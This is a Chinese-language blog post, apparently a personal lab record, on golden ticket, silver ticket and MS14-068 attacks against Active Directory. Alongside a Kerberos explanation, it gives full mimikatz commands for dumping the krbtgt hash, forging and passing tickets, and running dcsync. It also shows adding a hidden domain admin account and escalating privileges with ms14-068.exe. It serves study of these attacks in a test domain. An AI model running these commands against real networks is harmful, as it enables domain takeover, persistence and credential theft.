1. 主页 > 世界杯2021 >

域渗透之黄金票据与白银票据

前言&&实验环境此文是我前段时间学习票据攻击所做的实验记录,最近重做整理了以下,本人菜鸟一枚,文章可能会有些错误。

实验环境

ip:192.168.10.1/24(自定义网段,模拟内网环境)

掩码:255.255.255.0

DC(win server2008R2):192.168.10.2

web-server(win server2008R2):192.168.192.153(双网卡,外网)、192.169.10.10(内网)

什么是域——域是一组有边界的计算机的集合

百度百科:https://baike.baidu.com/item/%E5%9F%9F/12740244?fr=aladdin

kerberos认证

KDC(Key Distribution Center)密钥分发中心。

在KDC中又分为两个部分:Authentication Service(AS,身份验证服务)和Ticket Granting Service(TGS,票据授权服务)

AD会维护一个Account Database(账户数据库). 它存储了域中所有用户的密码Hash和白名单。只有账户密码都在白名单中的Client才能申请到TGT。

Kerberos认证的大概流程

当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,验证通过后AS会发放的一个TGT,随后Client再次向TGS证明自己的身份,验证通过后TGS会发放一个ST,最后Client向 Server 发起认证请求,这个过程分为三块:

Client 与 AS 的交互,

Client 与 TGS 的交互,

Client 与 Server 的交互。

黄金票据是伪造TGT,白银票据则是伪造ST

参考:https://www.likecs.com/show-454375.html

黄金票据(Golden ticket)原理在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个

Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

参考:https://www.jianshu.com/p/4936da524040

黄金票据常用于权限维持。

当我们获得域控的控制权限后,有可能获取域内所有用户的hash,和krbtgt的hash。这时,由于一些原因导致我们失去对目标的控制权,但是我们还留有一个普通用户的权限,并且krbtgt的密码没有更改,此时我们可以利用krbtgt用户的ntlm hash制作黄金票据伪造tgt,重新获取域控的管理权限。

所需条件1、域名称

2、域的SID值

3、域的KRBTGT账号的HASH

4、伪造任意用户名

(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)

实验假设我们已经通过hash传递(pth)的方式拿到了域控。

这是我自己做的实验:

https://www.freebuf.com/articles/web/325143.html

基本信息获取(SID,所处域)这里直接在域控制权上进行操作

whoami /user 获取域的sid值(去掉最后的-500,500表示为administrator用户)

net config workstation 查看所处域

获取krbtgt用户hash运行mimikatz.exe

privilegeg::debug #开启特权模式

lsadump::lsa /patch #获取krbtgt用户hash,域的sid

lsadump::lsa /patch /user:krbtgt

制作黄金票据(使用mimikatz)此时我们已经拥有krbtgt账号的hash,接下来切换到普通机器,使用mimikatz制作黄金票据。

Kerberos::purge

klist purge 这两条命令可以清除机器中的票据,以防干扰

kerberos::golden /user:administrator /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /krbtgt:d40f0e3b1347e55dbfd6dc58e80a3b6e /ticket:ticket.kirbi

kerberos::golden /user:XXX任意用户名 /domain:域名 /sid:域的sid值 /ticket:XXX.kirbi(生成的票据名称)

此时我们无法连接域控。先清除票据

kerberos::purge制作票据

kerberos::golden /user:administrator /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /krbtgt:d40f0e3b1347e55dbfd6dc58e80a3b6e /ticket:ticket.kirbi

kerberos::golden /user:XXX任意用户名 /domain:域名 /sid:域的sid值 /ticket:XXX.kirbi(生成的票据名称)

票据传递kerberos::ptt ticket.kirbi

dir \\dc.cyber.com\c$ #这里好像一定要完整的主机名才行

后记此时一个通往域内任意服务的后门制作完成。

可以直接使用psexec工具获得交互权限

PsExec64.exe \\dc.cyber.com -s cmd.exe

也可以在域内创建隐藏用户。

net user qwerty$ Aa123456 /add /domain

net group "domain admins" qwerty$ /domain

创建隐藏用户这里有点不明白为什么net user /domain命令看不到隐藏用户,但是net group "domain admins" /domain命令可以看到。。

白银票据(Silver ticket)原理如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。

在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。

所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

参考:https://www.jianshu.com/p/4936da524040

所需条件1.域名

2.域sid

3.目标服务器名

4.可利用的服务

5.服务账号的NTML HASH

6.需要伪造的用户名

实验基本信息获取(SID,所处域,服务器名,NTLM HASH)SID和所处域参考上面

whoami /user

net config workstation

获取服务账号hash

mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" > 'xxx.txt'

需要注意的是,这里一定要选择服务器的名字跟他的hash

制作白银票据(使用mimikatz)klist purge 清除票据

kerberos::golden /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /target:dc.cyber.com /service:cifs /rc4:45bdd23a3b9fc1c44a9fbb4081a70b30 /user:aaaa /ptt

kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx用户名 /ptt

攻击前伪造共享文件夹服务(cifs)权限攻击成功

伪造LDAP服务权限lsadump::dcsync 向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。 需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户 只读域控制器默认不允许读取用户密码数据

票据制作

kerberos::golden /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /target:dc.cyber.com /service:ldap /rc4:45bdd23a3b9fc1c44a9fbb4081a70b30 /user:aaaa /ptt

只需要把服务名改成/service:ldap即可

参考:

https://blog.csdn.net/weixin_39851261/article/details/112076055

https://zhuanlan.zhihu.com/p/475689947

首先klist purge清除票据

我们可以使用dcsync从域控服务器中获取指定用户的散列值,比如krbtgt。

现在我们使用mimikatz实验获取krbtgt的密码散列:发现无法获取

接下来使用生成的票据进行攻击

kerberos::golden /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /target:dc.cyber.com /service:ldap /rc4:45bdd23a3b9fc1c44a9fbb4081a70b30 /user:aaaa /ptt

成功获取krbtgt的hash可以伪造的服务

MS14-068MS14-068可以将普通域用户提升到域管理员权限

条件获取域用户名,密码,sid

系统不存在补丁KB3011780

参考:https://blog.csdn.net/lhh134/article/details/104139081

https://www.jianshu.com/p/1ec166b4fcf8

复现(使用ms14-068.exe)查看补丁状况systeminfo|find "KB3011780"

获取用户名、密码、SIDhack1

Aa123456 #我所创建的用户都是这个密码,实际可用通过mimikatz获取

S-1-5-21-1923088019-4105411894-1236499359-1115

攻击`ms14-068.exe -u user@domain -p user_password -s sid -d domain_ip`

ms14-068.exe -u hack1@cyber.com -p Aa123456 -s S-1-5-21-1923088019-4105411894-1236499359-1115 -d 192.168.10.2

攻击前拒绝访问,使用MS14-068.exe生成了.ccache文件

使用mimikatz传递票据

kerberos::ptc xxx.ccache

还有很多其他的利用方式,不过我只实现了这一种,在kali上用impacket工具包总会出现奇怪的问题。

总结&&参考金票和银票的区别

获取的权限不同

金票:伪造的TGT,可以获取任意Kerberos的访问权限

银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同

金票:同KDC交互,但不同AS交互

银票:不同KDC交互,直接访问Server

加密方式不同

金票:由krbtgt NTLM Hash 加密

银票:由服务账号 NTLM Hash 加密

https://www.likecs.com/show-454375.html

https://www.jianshu.com/p/4936da524040

https://blog.csdn.net/lhh134/article/details/104139081

https://www.jianshu.com/p/1ec166b4fcf8

之前做实验的时候还看了很多其他的文章...